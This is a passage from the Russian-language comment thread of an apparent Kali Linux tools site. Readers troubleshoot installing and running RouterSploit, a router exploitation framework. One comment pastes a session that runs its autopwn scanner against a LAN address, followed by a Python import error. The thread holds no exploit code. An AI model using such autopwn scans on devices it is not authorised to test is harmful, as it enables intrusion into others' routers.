       да выводит python 2.7 и кучу всего еще. но когда пытаюсь написать sudo pip3 install -r requirements.txt то выдает sudo: pip3: команда не найдена

    • Руслан:

      Хочу добавить что поправленный вариант установки на  Ubuntu работает, но соответственно запуск скрипта от sudo иначе не сработает!!!! Огромное Вам спасибо, вы как всегда помогли и выручили!!!Убедительная просьба не бросайте Ваше благородное и действительно нужное дело!Это самый лучший сайт  с самым лучшим Администратором ( с большой буквы) сайта и Linux вобщем и по инструментам Kali. Еще раз спасибо Вам, Вы лучший!!!!

  7. Аноним:

    А как узнать ip адрес окружающих точек ?

  8. Morozilnik:

    Здравствуйте! Такой вопрос, а насколько необходимо устанавливать и запускать этот фреймворк с правами root?

    • Alexey:

      Стандартный менеджер пакетов любую программу устанавливает только если его запустить с повышенными привилегиями.

      Скачивать с GitHub'а всегда можно от обычного пользователя. Но после этого с помощью pip нужно установить зависимости программы — для этого нужны повышенные привилегии (можно устанавливать для конкретного пользователя — в этом случае не требуются права root, но это отдельный головняк — кому интересно (и нужно) может заморочиться и установить себе так).

      В теории, программа RouterSploit сама по себе не должна требовать повышенных привилегий, так как она только отправляет HTTP запросы. А на практике: в то время без sudo она при запуске вылетала с ошибкой.

      Только что проверил самую последнюю версию (3.4.0) — для запуска НЕ требуются права root.

  9. Vlad:

    Доброго дня!

    После обновления ядра Kali Linux начиная уже с 5.16.0-kali7-amd64 перестал работать Routersploit, запускается теперь только с sudo, а при запуске сканирования вылетают ошибки (часть кода ниже). На версии 5.16.0-kali6 - работает и запускается без sudo.

    Как быть, возможно со временем ошибку исправят или отжил своё? 🙂

    -----------------------------------------------------------

     Codename   : I Knew You Were Trouble
     Version    : 3.4.1
     Homepage   : https://www.threat9.com - @threatnine
     Join Slack : https://www.threat9.com/slack

     Join Threat9 Beta Program - https://www.threat9.com

     Exploits: 132 Scanners: 4 Creds: 171 Generic: 4 Payloads: 32 Encoders: 4

    rsf > use scanners/autopwn
    rsf (AutoPwn) > set target 192.168.0.103
    [+] target => 192.168.0.103
    rsf (AutoPwn) > run
    [*] Running module scanners/autopwn…

    [*] 192.168.0.103 Starting vulnerablity check…
    Traceback (most recent call last):
      File "/usr/lib/python3/dist-packages/routersploit/core/exploit/utils.py", line 109, in import_exploit
        module = importlib.import_module(path)
      File "/usr/lib/python3.10/importlib/__init__.py", line 126, in import_module
        return _bootstrap._gcd_import(name[level:], package, level)
      File "<frozen importlib._bootstrap>", line 1050, in _gcd_import
      File "<frozen importlib._bootstrap>", line 1027, in _find_and_load
      File "<frozen importlib._bootstrap>", line 1006, in _find_and_load_unlocked
      File "<frozen importlib._bootstrap>", line 688, in _load_unlocked
      File "<frozen importlib._bootstrap_external>", line 883, in exec_module
      File "<frozen importlib._bootstrap>", line 241, in _call_with_frames_removed
      File "/usr/lib/python3/dist-packages/routersploit/modules/exploits/routers/tplink/wdr842nd_wdr842n_configure_disclosure.py", line 1, in <module>
        from Crypto.Cipher import DES
    ModuleNotFoundError: No module named 'Crypto'

    ….

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *